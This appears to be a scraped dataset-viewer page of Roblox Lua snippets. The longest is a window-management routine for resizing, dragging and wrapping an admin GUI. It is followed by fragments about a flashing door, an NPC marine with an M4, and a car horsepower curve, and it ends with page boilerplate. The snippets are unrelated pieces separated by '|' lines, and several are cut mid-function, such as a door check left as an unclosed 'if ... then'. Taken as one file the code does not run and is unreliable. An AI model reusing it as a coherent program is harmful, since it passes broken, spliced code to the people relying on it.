if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then
return true
else
return false
end
end
function wallPosition()
if gTable.Active then
local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y
local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y
local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y
if x < 0 then
Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y < 0 then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)
end
if x + abx > gx then
Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y + ySize > gy then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)
end
end
end
function setSize(newSize)
if newSize and type(newSize) == "table" then
if newSize[1] < 50 then newSize[1] = 50 end
if newSize[2] < 50 then newSize[2] = 50 end
Drag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset)
Main.Size = UDim2.new(1,0,0,newSize[2])
end
end
function setPosition(newPos)
if newPos and typeof(newPos) == "UDim2" then
Drag.Position = newPos
elseif newPos and type(newPos) == "table" then
Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2])
elseif Size and not newPos then
Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)
end
end
if Name then
gTable.Name = Name
if data.AllowMultiple ~= nil and data.AllowMultiple == false then
local found, num = client.UI.Get(Name, GUI, true)
if found then
doClose()
return nil
end
end
end
if Size then
setSize(Size)
end
if Position then
setPosition(Position)
end
if Title then
Titlef.Text = Title
end
if CanKeepAlive or not ResetOnSpawn then
gTable.CanKeepAlive = true
GUI.ResetOnSpawn = false
elseif ResetOnSpawn then
gTable.CanKeepAlive = false
GUI.ResetOnSpawn = true
end
if Icon then
Iconf.Visible = true
Iconf.Image = Icon
Iconf.Size = UDim2.new(0, 16, 0, 16)
Iconf.Position = UDim2.new(0, 6, 0, 5)
Iconf.ImageTransparency = 0
end
if CanvasSize then
ScrollFrame.CanvasSize = CanvasSize
end
if noClose then
Close.Visible = false
Refresh.Position = Hide.Position
Hide.Position = Close.Position
end
if noHide then
Hide.Visible = false
Refresh.Position = Hide.Position
end
if Walls then
Drag.DragStopped:Connect(function()
wallPosition()
end)
end
if onRefresh then
local debounce = false
function DoRefresh()
if not Refreshing then
local done = false
Refreshing = true
spawn(function()
while gTable.Active and not done do
for i = 0,180,10 do
rSpinner.Rotation = -i
wait(1/60)
end
end
end)
onRefresh()
wait(1)
done = true
Refreshing = false
end
end
Refresh.MouseButton1Down:Connect(function()
if not debounce then
debounce = true
DoRefresh()
debounce = false
end
end)
Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)
else
Refresh.Visible = false
end
if iconClicked then
Iconf.MouseButton1Down(function()
iconClicked(data, GUI, Iconf)
end)
end
if Menu then
data.Menu.Text = ""
data.Menu.Parent = Main
data.Menu.Size = UDim2.new(1,-10,0,25)
data.Menu.Position = UDim2.new(0,5,0,25)
ScrollFrame.Size = UDim2.new(1,-10,1,-55)
ScrollFrame.Position = UDim2.new(0,5,0,50)
data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)
data.Menu.BorderSizePixel = 0
create("TextLabel",data.Menu)
end
if not SizeLocked then
local startXPos = Drag.AbsolutePosition.X
local startYPos = Drag.AbsolutePosition.Y
local startXSize = Drag.AbsoluteSize.X
local startYSize = Drag.AbsoluteSize.Y
local vars = client.Variables
local newIcon
local inFrame
local ReallyInFrame
local function readify(obj)
obj.MouseEnter:Connect(function()
ReallyInFrame = obj
end)
obj.MouseLeave:Connect(function()
if ReallyInFrame == obj then
ReallyInFrame = nil
end
end)
end
--[[
readify(Drag)
readify(ScrollFrame)
readify(TopRight)
readify(TopLeft)
readify(RightCorner)
readify(LeftCorner)
readify(RightSide)
readify(LeftSide)
readify(Bottom)
readify(Top)
--]]
function checkMouse(x, y) --// Update later to remove frame by frame pos checking
if gTable.Active and Main.Visible then
if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then
inFrame = nil
newIcon = nil
elseif isInFrame(x, y, TopRight) then
inFrame = "TopRight"
newIcon = MouseIcons.TopRight
elseif isInFrame(x, y, TopLeft) then
inFrame = "TopLeft"
newIcon = MouseIcons.TopLeft
elseif isInFrame(x, y, RightCorner) then
inFrame = "RightCorner"
newIcon = MouseIcons.RightCorner
elseif isInFrame(x, y, LeftCorner) then
inFrame = "LeftCorner"
newIcon = MouseIcons.LeftCorner
elseif isInFrame(x, y, RightSide) then
inFrame = "RightSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, LeftSide) then
inFrame = "LeftSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, Bottom) then
inFrame = "Bottom"
newIcon = MouseIcons.Vertical
elseif isInFrame(x, y, Top) then
inFrame = "Top"
newIcon = MouseIcons.Vertical
else
inFrame = nil
newIcon = nil
end
else
inFrame = nil
end
if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then
if inFrame and newIcon then
Mouse.Icon = newIcon
client.Variables.MouseLockedBy = gTable
elseif client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
end
end
local function inputStart(x, y)
checkMouse(x, y)
if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
end
end
local function inputEnd()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--DragEnabled = true
--if Walls then
-- wallPosition()
--end
end
end
local function inputMoved(x, y)
if gTable.Active then
if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then
curIcon = Mouse.Icon
end
if Resizing then
local moveX = false
local moveY = false
local newPos = Drag.Position
local xPos, yPos = x, y
local newX, newY = startXSize, startYSize
--DragEnabled = false
if Resizing == "TopRight" then
newX = (xPos - startXPos) + 3
newY = (startYPos - yPos) + startYSize -1
moveY = true
elseif Resizing == "TopLeft" then
newX = (startXPos - xPos) + startXSize -1
newY = (startYPos - yPos) + startYSize -1
moveY = true
moveX = true
elseif Resizing == "RightCorner" then
newX = (xPos - startXPos) + 3
newY = (yPos - startYPos) + 3
elseif Resizing == "LeftCorner" then
newX = (startXPos - xPos) + startXSize + 3
newY = (yPos - startYPos) + 3
moveX = true
elseif Resizing == "LeftSide" then
newX = (startXPos - xPos) + startXSize + 3
newY = startYSize
moveX = true
elseif Resizing == "RightSide" then
newX = (xPos - startXPos) + 3
newY = startYSize
elseif Resizing == "Bottom" then
newX = startXSize
newY = (yPos - startYPos) + 3
elseif Resizing == "Top" then
newX = startXSize
newY = (startYPos - yPos) + startYSize - 1
moveY = true
end
if newX < MinSize[1] then newX = MinSize[1] end
if newY < MinSize[2] then newY = MinSize[2] end
if newX > MaxSize[1] then newX = MaxSize[1] end
if newY > MaxSize[2] then newY = MaxSize[2] end
if moveX then
newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)
end
if moveY then
newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)
end
Drag.Position = newPos
Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)
if not Titlef.TextFits then
Titlef.Visible = false
else
Titlef.Visible = true
end
else
checkMouse(x, y)
end
end
end
Event(InputService.InputBegan, function(input, gameHandled)
if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
local Position = input.Position
inputStart(Position.X, Position.Y)
end
end)
Event(InputService.InputChanged, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
local Position = input.Position
inputMoved(Position.X, Position.Y)
end
end)
Event(InputService.InputEnded, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
inputEnd()
end
end)
--[[Event(Mouse.Button1Down, function()
if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
checkMouse()
end
end)
Event(Mouse.Button1Up, function()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--if Walls then
-- wallPosition()
--end
end
end)--]]
else
LeftSizeIcon.Visible = false
RightSizeIcon.Visible = false
end
Close.MouseButton1Down:Connect(doClose)
Hide.MouseButton1Down:Connect(function() doHide() end)
gTable.CustomDestroy = function()
if client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
if not isClosed then
isClosed = true
if onClose then
onClose()
end
end
service.UnWrap(GUI):Destroy()
end
for i,child in ipairs(GUI:GetChildren()) do
if child.Name ~= "Desc" and child.Name ~= "Drag" then
specialInsts[child.Name] = child
child.Parent = nil
end
end
--// Drag & DisplayOrder Handler
do
local windowValue = Instance.new("BoolValue", GUI)
local dragDragging = false
local dragOffset
local inFrame
windowValue.Name = "__ADONIS_WINDOW"
Event(Main.InputBegan, function(input)
if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
BringToFront()
end
end)
Event(Drag.InputBegan, function(input)
if gTable.Active then
inFrame = true
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
BringToFront()
end
end
end)
Event(Drag.InputChanged, function(input)
if gTable.Active then
inFrame = true
end
end)
Event(Drag.InputEnded, function(input)
inFrame = false
end)
Event(InputService.InputBegan, function(input)
if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then
dragDragging = true
BringToFront()
dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)
end
end)
Event(InputService.InputChanged, function(input)
if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
Drag.Position = UDim2.fromOffset(dragOffset.X + input.Position.X, dragOffset.Y + input.Position.Y)
end
end)
Event(InputService.InputEnded, function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragDragging = false
end
end)
end
--// Finishing up
local api = apiIfy(ScrollFrame, data)
local meta = api:GetMetatable()
local oldNewIndex = meta.__newindex
local oldIndex = meta.__index
create("ScrollingFrame", nil, ScrollFrame)
LoadChildren(api, Content)
api:SetSpecial("gTable", gTable)
api:SetSpecial("Window", GUI)
api:SetSpecial("Main", Main)
api:SetSpecial("Title", Titlef)
api:SetSpecial("Dragger", Drag)
api:SetSpecial("Destroy", doClose)
api:SetSpecial("Close", doClose)
api:SetSpecial("Object", ScrollFrame)
api:SetSpecial("Refresh", DoRefresh)
api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end)
api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end)
api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end)
api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end)
api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end)
api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end)
api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end)
api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end)
api:SetSpecial("GetSize", function() return Main.AbsoluteSize end)
api:SetSpecial("IsVisible", isVisible)
api:SetSpecial("IsClosed", isClosed)
meta.__index = function(tab, ind)
if ind == "IsVisible" then
return isVisible()
elseif ind == "Closed" then
return isClosed
else
return oldIndex(tab, ind)
end
end
setSize(Size)
setPosition(Position)
if Ready then
gTable:Ready()
BringToFront()
end
return api,GUI
end
|
--------END RIGHT DOOR --------
|
end
wait(0.15)
if game.Workspace.DoorFlashing.Value == true then
|
--Services
|
local runService = game:GetService("RunService")
local debrisService = game:GetService("Debris")
local tweenService = game:GetService("TweenService")
local serverStorage = game:GetService("ServerStorage")
local physicsService = game:GetService("PhysicsService")
local modules = script.Parent
local core = require(modules.CoreModule)
local status = require(modules.Status)
local targeting = require(modules.TargetModule)
local actions = require(modules.ActionsModule)
local troubleshoot = require(modules.Troubleshoot)
local marine = script.Parent.Parent.Parent
local myRoot = marine.HumanoidRootPart
local myHuman = marine.Humanoid
local myHead = marine.Head
local m4 = marine.M4
local barrel = m4.Barrel
local lightFlash = barrel.MuzzleDynamicLight
local chamber = m4.Chamber
local fireSound = m4.Fire
local impact = m4.Impact
|
--Plot Current Horsepower
|
local function GetCurve(x,gear)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.